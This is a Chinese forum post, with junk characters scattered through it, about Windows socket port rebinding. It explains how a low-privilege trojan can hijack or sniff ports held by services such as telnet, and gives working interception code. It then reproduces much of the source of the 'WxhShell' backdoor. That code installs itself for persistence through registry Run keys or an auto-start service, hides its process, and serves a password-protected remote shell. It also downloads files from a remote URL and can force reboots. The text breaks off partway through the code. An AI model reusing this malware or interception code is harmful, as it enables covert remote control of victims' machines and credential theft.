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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ge^Qar  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1+a@k  
&Xv1[nByU  
  saddr.sin_family = AF_INET; ]rnXNn;  
I(n }<)eF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p-,Iio+  
0aogBg_@K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mL$f[  
0yz~W(tsm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S7CV w,2  
' l|R5   
  这意味着什么?意味着可以进行如下的攻击: +bUW!$G  
-TTs.O8P|<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 x#mtS-sw2Q  
LQqfi ~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :Jk33 N4y0  
7TpRCq#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g8l5.Mpx  
dMV=jJ%Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L,$3Yj  
+I@cO&CY|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H2U:@.o2&  
U-g9C.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =!CU $g  
3cixQzb}u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5ITq?%{M  
Yb 6q))Y  
  #include kYlg4 .~M  
  #include h55>{)(E  
  #include 'E-FO_N  
  #include    iP#=:HZu;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NAJVr}4f  
  int main() 7Cy<mS  
  { 9B=1 Yr[  
  WORD wVersionRequested; ertBuU  
  DWORD ret; Kam]Mn'  
  WSADATA wsaData; @5E,:)T*wR  
  BOOL val; Ly>OLI0x_  
  SOCKADDR_IN saddr; j5^-.sEEw  
  SOCKADDR_IN scaddr; b#a@ rh  
  int err; :Q7mV%%  
  SOCKET s; X;VQEDMPU  
  SOCKET sc; ="'- &  
  int caddsize; DP*@dFU"  
  HANDLE mt; 2h q>T&8  
  DWORD tid;   !Lkm? (_  
  wVersionRequested = MAKEWORD( 2, 2 ); "Pj}E=!k  
  err = WSAStartup( wVersionRequested, &wsaData ); 8+&JQ"UaB  
  if ( err != 0 ) { Hb!6Z EmN%  
  printf("error!WSAStartup failed!\n"); 8TPN#"  
  return -1; 3=- })X ;  
  } !re1EL  
  saddr.sin_family = AF_INET; 6P*O&1hv  
   sS9%3i/>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8r^ ~0nm  
WYszk ,E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S4bBafj[I  
  saddr.sin_port = htons(23); %4,?kh``D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qn|+eLY  
  { Js{= i>D  
  printf("error!socket failed!\n"); OipqoI2  
  return -1; 6(KmA-!b(O  
  } 9$RI H\*  
  val = TRUE; ; )llt G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +pp9d-n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  g_q<ze  
  { cp%ii'  
  printf("error!setsockopt failed!\n"); ;GOz>pg  
  return -1; |=5/Rax^  
  } f Iy]/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >emcJVYV`[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @;Y~frT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _u5dC   
2f,2rW^i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %Q~CB7ILK  
  { Vz"u>BP3~  
  ret=GetLastError(); XYfv(y  
  printf("error!bind failed!\n"); %|+E48  
  return -1; q3S+Y9L  
  } XUS vhr$|  
  listen(s,2); !#}7{  
  while(1) O3qM1-k}S  
  { > 0.W`j(s  
  caddsize = sizeof(scaddr); dR+1aY;  
  //接受连接请求 WG5W0T_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fdv`7u+}a  
  if(sc!=INVALID_SOCKET) !w2gGy:I>  
  { 6+` tn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Yc;ec9~  
  if(mt==NULL) gQouOjfP  
  { RiR:69xwR*  
  printf("Thread Creat Failed!\n"); L`[z[p {?  
  break; 79BaDB`{a  
  } b$- e\XB!  
  } 9 26Tl  
  CloseHandle(mt); =SBBvnPLI  
  } X?o( b/F -  
  closesocket(s); o2uj =Gnx  
  WSACleanup(); 8C7Z{@A&#  
  return 0; Qh`:<KI  
  }   Uyx&E?SlEq  
  DWORD WINAPI ClientThread(LPVOID lpParam) H%}IuHhN)  
  { Zj VWxQ  
  SOCKET ss = (SOCKET)lpParam; L1 #Ij#  
  SOCKET sc; e@n!x}t8  
  unsigned char buf[4096]; L?RF;jf  
  SOCKADDR_IN saddr; 2R.2D'4)`  
  long num; UVEz;<5@\  
  DWORD val; 'C>U=cE7  
  DWORD ret; ^p=L\SJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xf,5R9g/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W?XizTW  
  saddr.sin_family = AF_INET; 1*Ar{:+ua  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Em$!n  
  saddr.sin_port = htons(23); .}`hCt08  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _*6v|Ed?  
  { k\7:{y@,  
  printf("error!socket failed!\n"); m*e YC  
  return -1; ^^Jnv{)  
  } =? :@  
  val = 100; e/s(ojDW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]%dnKP~  
  { :c]`D>  
  ret = GetLastError(); n(vDytrj;  
  return -1; g,kzQ}_  
  } uT_!'l$fr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !#x=JX  
  { ;#k-)m%  
  ret = GetLastError(); q/gB<p9  
  return -1; (@sp/:`6  
  } R,_d1^|*w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vpp&|n9^  
  { Y+-xvx :  
  printf("error!socket connect failed!\n"); SO?8%s(   
  closesocket(sc); m{%t?w$Au  
  closesocket(ss); 0l\y.   
  return -1; !<n"6KA.  
  } |m G7XL,  
  while(1) z/]q)`G  
  { 0$P/jt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mpay^.(%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -J0WUN$2*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #exss=as/  
  num = recv(ss,buf,4096,0); d- E4~)Qy  
  if(num>0) 9NpD!A&64<  
  send(sc,buf,num,0); 'vIx#k4D1  
  else if(num==0) `a]44es9q  
  break; C>QIrZu  
  num = recv(sc,buf,4096,0); Oejq@iM"(  
  if(num>0) , c;eN  
  send(ss,buf,num,0); r':TMhzHq?  
  else if(num==0) :@3Wg3N  
  break; /Cr/RG:OX  
  } b.yh8|&  
  closesocket(ss); slW3qRT\k  
  closesocket(sc); T-" I9kM  
  return 0 ; (ywo a  
  } #-# NqX:  
!1sU>Xb4J  
.ln8|;%  
========================================================== 5#JJ?  
;/8{N0  
下边附上一个代码,,WXhSHELL CAc %f9!3  
eE]hy'{d<  
========================================================== ,?-\ x6  
&#m"/g7w4N  
#include "stdafx.h" !~iGu\y  
7C,T&g 1:  
#include <stdio.h> IB5BO7J  
#include <string.h> -X1X)0v$  
#include <windows.h> n!ok?=(kQ  
#include <winsock2.h> 9w4sSj`  
#include <winsvc.h> I9y.e++/  
#include <urlmon.h> <vc`^Q&4B  
KFWJ}pNq  
#pragma comment (lib, "Ws2_32.lib") +a+`Z>  
#pragma comment (lib, "urlmon.lib") {G i h&N  
GA3sRFZdQ  
#define MAX_USER   100 // 最大客户端连接数 `NNf&y)y  
#define BUF_SOCK   200 // sock buffer )Hw:E71h2  
#define KEY_BUFF   255 // 输入 buffer _YHu96H;  
@,H9zrjVFZ  
#define REBOOT     0   // 重启 u5E]t9~Pq  
#define SHUTDOWN   1   // 关机 f-RK,#^?,  
E;(Rm>lB  
#define DEF_PORT   5000 // 监听端口 a P()|js  
^ @=^;nB  
#define REG_LEN     16   // 注册表键长度 B |{I:[  
#define SVC_LEN     80   // NT服务名长度 3:CO{=`\7B  
;h/pnmhP  
// 从dll定义API 2j&@ p>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K%g;NW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nKh&-E   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }At{'8*n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~6[*q~B  
\NL+}cL/  
// wxhshell配置信息 b=PVIZ  
struct WSCFG { +5p{5 q(o  
  int ws_port;         // 监听端口 h3G.EM:eG  
  char ws_passstr[REG_LEN]; // 口令 *,WP,-0  
  int ws_autoins;       // 安装标记, 1=yes 0=no gUax'^w;V;  
  char ws_regname[REG_LEN]; // 注册表键名 )ZR+lX }  
  char ws_svcname[REG_LEN]; // 服务名 %@J1]E;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r0dDHj~F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6L4$vJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6j9)/H P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c+' =hR[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }ZOFYu0f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ GDX7TPV  
H=MCjh&$q  
}; =_TaA(79  
i8pU|VpA  
// default Wxhshell configuration {U11^w1"3  
struct WSCFG wscfg={DEF_PORT, b\55,La  
    "xuhuanlingzhe", Jobiq]|>  
    1, L\aBc}  
    "Wxhshell", v:_B kHN'  
    "Wxhshell", MBr:?PE7  
            "WxhShell Service", pd@;b5T  
    "Wrsky Windows CmdShell Service", (jWss  V1  
    "Please Input Your Password: ", <9A@`_';Aq  
  1, ]`=X'fED  
  "http://www.wrsky.com/wxhshell.exe", ] Uc`J8p,  
  "Wxhshell.exe" S01wwZ  
    }; \+PIe7f_  
=!MY4&YX  
// 消息定义模块 P>Qpv Sd_#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ! T9]/H?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yxd X#3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -p,x&h,p  
char *msg_ws_ext="\n\rExit."; dKhA$f~  
char *msg_ws_end="\n\rQuit."; C*6S@4k  
char *msg_ws_boot="\n\rReboot..."; 5_o$<\I\  
char *msg_ws_poff="\n\rShutdown..."; ./-JbW  
char *msg_ws_down="\n\rSave to "; h1"zV6U  
J{"kw1Lu  
char *msg_ws_err="\n\rErr!"; C 'mL&  
char *msg_ws_ok="\n\rOK!"; H}0dd"  
Oxx^[ju~  
char ExeFile[MAX_PATH]; ,w)p"[^b  
int nUser = 0; F phDF  
HANDLE handles[MAX_USER]; $a;]_Y  
int OsIsNt; X=X\F@V:u  
$ItF])Bj5N  
SERVICE_STATUS       serviceStatus; ZXb0Y2AVx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wdE?SDs  
L#h:*U{@40  
// 函数声明 vR7HF*8  
int Install(void); k!XhFWb  
int Uninstall(void); w Fn[9_`*  
int DownloadFile(char *sURL, SOCKET wsh); ~4,I7c7  
int Boot(int flag); ><?BqRm+  
void HideProc(void); `m~syKz4A  
int GetOsVer(void); K`:=]Z8  
int Wxhshell(SOCKET wsl); <I*x0BM=  
void TalkWithClient(void *cs); Q}AE.Ef@<  
int CmdShell(SOCKET sock); x2VBm$>  
int StartFromService(void); /'DwfX  
int StartWxhshell(LPSTR lpCmdLine); ww d'0P`/  
2h^WYpCm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4N? v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I?!rOU= 0  
n]CbDbNw7)  
// 数据结构和表定义 5ua?I9fY  
SERVICE_TABLE_ENTRY DispatchTable[] = ;DRTQn`m  
{ (X[2TT3j!  
{wscfg.ws_svcname, NTServiceMain}, %,*$D} H  
{NULL, NULL} {==pZpyyh  
}; =(r* 5vd  
fp>.Owt%.  
// 自我安装 B)SLG]72f  
int Install(void) =H]F`[B=  
{ Bo_ym36N  
  char svExeFile[MAX_PATH]; j0-McLc  
  HKEY key; Bd0eC#UGkQ  
  strcpy(svExeFile,ExeFile); D #2yIec  
o,Z{ w"  
// 如果是win9x系统,修改注册表设为自启动 *iX e^<6v  
if(!OsIsNt) { Bn wzcl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Q|eiXD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n(Y%Vmy  
  RegCloseKey(key); rx ~[Zs+*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . 5HQ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <!^ [~`  
  RegCloseKey(key); !%L,* '  
  return 0; v@ C,RP9  
    } 7()?C}Ni-  
  } YrI|gz)  
} R""%F#4XJ2  
else { JHV)ZOO  
&M&{yc*%  
// 如果是NT以上系统,安装为系统服务 &rq{v!=7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i\}:hU-U  
if (schSCManager!=0) pR o s{Uq"  
{ `|e!Kq?#Q  
  SC_HANDLE schService = CreateService #~ v4caNx  
  ( H. ,;-  
  schSCManager, [ .yJV`  
  wscfg.ws_svcname, =5]n\"/  
  wscfg.ws_svcdisp, *U7 %|wd  
  SERVICE_ALL_ACCESS, 3-Bl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T8J4C=?/  
  SERVICE_AUTO_START, haSM=;uPM  
  SERVICE_ERROR_NORMAL, Gy29MUF  
  svExeFile, !R{R??  
  NULL, [2Mbk~  
  NULL, 1hQN8!:<  
  NULL, (-yl|NFBw  
  NULL, [W,|kDK  
  NULL 3 pWM~(#>-  
  ); H -t|i  
  if (schService!=0) (yrh=6=z  
  { :>3=gex@^0  
  CloseServiceHandle(schService); _ *(bmJM  
  CloseServiceHandle(schSCManager); gvavs+H%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cA`4:gp  
  strcat(svExeFile,wscfg.ws_svcname); o=+Z.-q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `H%G3M0a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Hy]  
  RegCloseKey(key); :> -1'HC  
  return 0; 6 DF  
    } 0~A#>R'  
  } E0f{iO;}  
  CloseServiceHandle(schSCManager); {eZ{]  
} :J_oj:0r"f  
} {ShgJ ;! Q  
eQN.sl5  
return 1; )najO *n  
} |hzT;  
sRRI3y@  
// 自我卸载 iw]k5<qKj  
int Uninstall(void) , |E$'  
{ [[L-j q.'  
  HKEY key; o \L!(hm  
X)Gp7k1w  
if(!OsIsNt) { M?&zY "c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HMQI&Lh=U  
  RegDeleteValue(key,wscfg.ws_regname); mf$j03tu  
  RegCloseKey(key); UsW5d]i}Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t 0O4GcAN  
  RegDeleteValue(key,wscfg.ws_regname); f?UzD#50D  
  RegCloseKey(key); L10IF  
  return 0; %_)zWlN  
  } [s6C ZcL  
} 7!4V >O8@  
} {[OwMk  
else { 1 =GI&f2I  
)c<6Sfp^B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aq>?vti1D  
if (schSCManager!=0) M@7Xp)S"  
{ Ej(2w Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h[Tk; h  
  if (schService!=0) ] f 7#N  
  { "~+.Af  
  if(DeleteService(schService)!=0) { )C]x?R([m  
  CloseServiceHandle(schService); <e"J4gZf&  
  CloseServiceHandle(schSCManager); z/|BH^Vw  
  return 0; .Ao0;:;(2-  
  } K b(9)Re  
  CloseServiceHandle(schService); ';YgG<u  
  } D'i6",Z>  
  CloseServiceHandle(schSCManager); !$xu(D.  
} Eu<r$6Q0}o  
} 'CV^M(o'9  
%efGt6&  
return 1; Hcv u7uD  
} U6j/BJT"  
ExhL[1E  
// 从指定url下载文件 ?S`>>^  
int DownloadFile(char *sURL, SOCKET wsh) ^X? D#\  
{ L]-w;ll-  
  HRESULT hr; @6MAX"  
char seps[]= "/"; !D:k!  
char *token; >)Dhi+D  
char *file; McP.9v}H0_  
char myURL[MAX_PATH]; 8 njuDl  
char myFILE[MAX_PATH]; oXal  
gA:TL{X0  
strcpy(myURL,sURL); bx;f`8SN  
  token=strtok(myURL,seps); qu{mqkfN>  
  while(token!=NULL) J_"3UZ~&  
  { {BOLP E-  
    file=token;  rz  
  token=strtok(NULL,seps); &?<AwtNN  
  } _Z#eS/,O@  
~"7J}[i 5  
GetCurrentDirectory(MAX_PATH,myFILE); fPQ|e"?  
strcat(myFILE, "\\"); F=Y S^  
strcat(myFILE, file); )/Y~6A9>  
  send(wsh,myFILE,strlen(myFILE),0); L3c*LL  
send(wsh,"...",3,0); 5' \)`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y3o Mh,  
  if(hr==S_OK) i?>Hr|  
return 0; lX;mhJj!  
else MUwVG>b8J~  
return 1; AzjMv6N   
e-6(F4  
} [m#NfA:h,  
xs1bxJ_R  
// 系统电源模块 kK?zVH-!  
int Boot(int flag) Bw-s6MS  
{ K2|7%  
  HANDLE hToken; &oN/_7y  
  TOKEN_PRIVILEGES tkp; fM":f| G  
b(&] >z  
  if(OsIsNt) { xrI}3T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -Bv 12ymLG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l,bZG3,6  
    tkp.PrivilegeCount = 1; jT^!J+?6K+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _Ex?Xk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VO-784I  
if(flag==REBOOT) { jsm0kz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yQ-hnlzn~  
  return 0; =] KIkS3  
} dXZP[K#  
else { !R{em48D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ND,`QjmZ  
  return 0; rw*M&qg!z  
} hAAUecx  
  } jtLn j@,  
  else { B\zoJg&7(  
if(flag==REBOOT) { ?!m m a\W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FO^24p  
  return 0; ?*o;o?5s^  
} LDX y}hm)  
else { ?N _)>&b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  T{Hf P  
  return 0; ZgBckb  
} G5u meqYC  
} n)CH^WHL&  
88YC0!Ni  
return 1; _LsYMUe  
} L9J;8+ge  
^0eO\wc?O  
// win9x进程隐藏模块 ybYXD?  
void HideProc(void) D(@SnI+  
{ \E&thp  
Zh? V,39  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >3$uu+p1F  
  if ( hKernel != NULL ) )<Ob  
  { 40+fGRyOL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NYwGK|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); un&>  
    FreeLibrary(hKernel); At|h t  
  } cf&C|U  
2;}xN!8  
return; U,d2DAvt  
} ~D_ rZ&  
`W="g6(  
// 获取操作系统版本 QU%N*bFW%P  
int GetOsVer(void) CQ jV!d0j  
{ qw)Key  
  OSVERSIONINFO winfo; *Ji9%IA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2X^iV09  
  GetVersionEx(&winfo); Y` q!V=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w4aiI2KFq  
  return 1; \CDAFu#  
  else rr>IKyI'  
  return 0; 9M nem*  
} L*IU0Jy>  
JkJhfFV  
// 客户端句柄模块 k=FcPF"  
int Wxhshell(SOCKET wsl) P2|}*h5(  
{ pj j}K  
  SOCKET wsh; JqQ3C}z  
  struct sockaddr_in client; "LXXs0  
  DWORD myID; {#0Tl  
<BQ%8}  
  while(nUser<MAX_USER) O${r^6Hh  
{ 65uZ LsQ  
  int nSize=sizeof(client); Y0rf9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M Ey1~h/  
  if(wsh==INVALID_SOCKET) return 1; 5#P: "U  
]m RF[b$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Hc>([?P%t  
if(handles[nUser]==0) 8R&z3k;!t  
  closesocket(wsh); XpOCQyFnM  
else ~;TV74~rr  
  nUser++; Mi<*6j0  
  } i4 P$wlO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =SA 4\/  
Bk@bN~B4  
  return 0; |%n|[LP'  
} oUCS |  
sek6+#|=  
// 关闭 socket h!ZZ2[  
void CloseIt(SOCKET wsh) Qb@BV&^y&  
{ d"z *Nb  
closesocket(wsh); B6-AIPb  
nUser--; |WQD=J%~(  
ExitThread(0); oJhEHx[f  
} So0`c,D  
>h|UCJ1 `  
// 客户端请求句柄 Qh/lT$g  
void TalkWithClient(void *cs) kVy"+ZebK  
{ >>/nuWdpO  
"sC$%D<oc  
  SOCKET wsh=(SOCKET)cs; \? J=mE@;1  
  char pwd[SVC_LEN]; {c.}fyN  
  char cmd[KEY_BUFF]; 6ch@Be5*  
char chr[1]; VOD1xWrb  
int i,j; % cU-5\xF  
[ e$]pN%  
  while (nUser < MAX_USER) { Ty)gPh6O  
no eb f  
if(wscfg.ws_passstr) { 5L/Yi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q,ZkeWQ7%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R/yPZO-U  
  //ZeroMemory(pwd,KEY_BUFF); (M4]#5  
      i=0; bDxPgb7N=  
  while(i<SVC_LEN) { N)`tI0/W  
x*3@,GmZl  
  // 设置超时 ?U7&R%Lh`  
  fd_set FdRead; FuIWiO(  
  struct timeval TimeOut; Z#H@BWN7  
  FD_ZERO(&FdRead); dP$y>%cB  
  FD_SET(wsh,&FdRead); Vjv6\;tt8  
  TimeOut.tv_sec=8; t201ud2$  
  TimeOut.tv_usec=0; hj%}GP{{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %w;1*~bH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m~b#:4D3  
=f/avGX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wCqE4i  
  pwd=chr[0]; +3(CGNE  
  if(chr[0]==0xd || chr[0]==0xa) { 6,sRavs  
  pwd=0; Y;~EcM  
  break; G:H(IA7Z  
  } <e@I1iL37y  
  i++; Fo--PtY`p  
    } qdg= Imx  
uOy\{5s8  
  // 如果是非法用户,关闭 socket H J2O@e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h5h-}qBA  
} 1"87EP   
_Eet2;9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D_L'x"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3/]f4D{MMY  
-K{\S2  
while(1) { -Hl\j (D7  
pZNlcB[Qn-  
  ZeroMemory(cmd,KEY_BUFF); P7M0Ce~iW  
^v()iF !  
      // 自动支持客户端 telnet标准   \J#I}-a&j  
  j=0; ^/4 {\3  
  while(j<KEY_BUFF) { ?,A8  fR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p;)klH@X  
  cmd[j]=chr[0]; 67EDkknt  
  if(chr[0]==0xa || chr[0]==0xd) { @pyA;>U  
  cmd[j]=0; 74</6T]^  
  break; |qFN~!  
  } 476M` gA  
  j++; >-o?S O(M,  
    } hNgcE,67q  
9 u6 g  
  // 下载文件 Y D1g]p  
  if(strstr(cmd,"http://")) { {RWahnr{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hU=f?jo/  
  if(DownloadFile(cmd,wsh)) ]7Xs=>"Iw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DY%T`}  
  else @)FXG~C*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vErbX3RY2  
  } aTs y)=N  
  else { p)AvG;  
f]^J,L9qz  
    switch(cmd[0]) { K1qY10F:_  
  }1E_G  
  // 帮助 ]Y/pSwnV  
  case '?': { crF9,p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lt ZWs0l0  
    break; 7i%P&oB  
  } Nc^b8& 2J  
  // 安装 wZ#~+ }T  
  case 'i': { _'o^@v:  
    if(Install()) v: !7n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \p_8YC  
    else n,R[O_9u[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pRaoR  
    break; s2 t-T0;  
    } Y?q*hS0!H  
  // 卸载 2R~=@  
  case 'r': { 0bRkC,N (  
    if(Uninstall()) q, 19NZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |R|U z`  
    else V%Z[,C u+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h3vm< R;  
    break; o Q!g!xz  
    } uc{Qhw!;:  
  // 显示 wxhshell 所在路径 7kew/8-  
  case 'p': { 4 Q>jP3  
    char svExeFile[MAX_PATH]; _<&K]e@dp  
    strcpy(svExeFile,"\n\r"); 7xa@wa?!L  
      strcat(svExeFile,ExeFile); >H]|A<9u(  
        send(wsh,svExeFile,strlen(svExeFile),0); g#bfY=C  
    break; 5<>R dLo  
    } m0q`A5!)  
  // 重启 qhHRR/p  
  case 'b': { ag*Hs<gi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XzTH,7[n  
    if(Boot(REBOOT)) =.3P)gY)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _s#/f5<:B  
    else { LKwUpu!  
    closesocket(wsh); &t@6qi`d  
    ExitThread(0); 8aIq#v  
    } t,as{.H{h  
    break; M,dzf  
    } d1LTyzLr  
  // 关机 t+Q|l&|0  
  case 'd': { /A`zy  
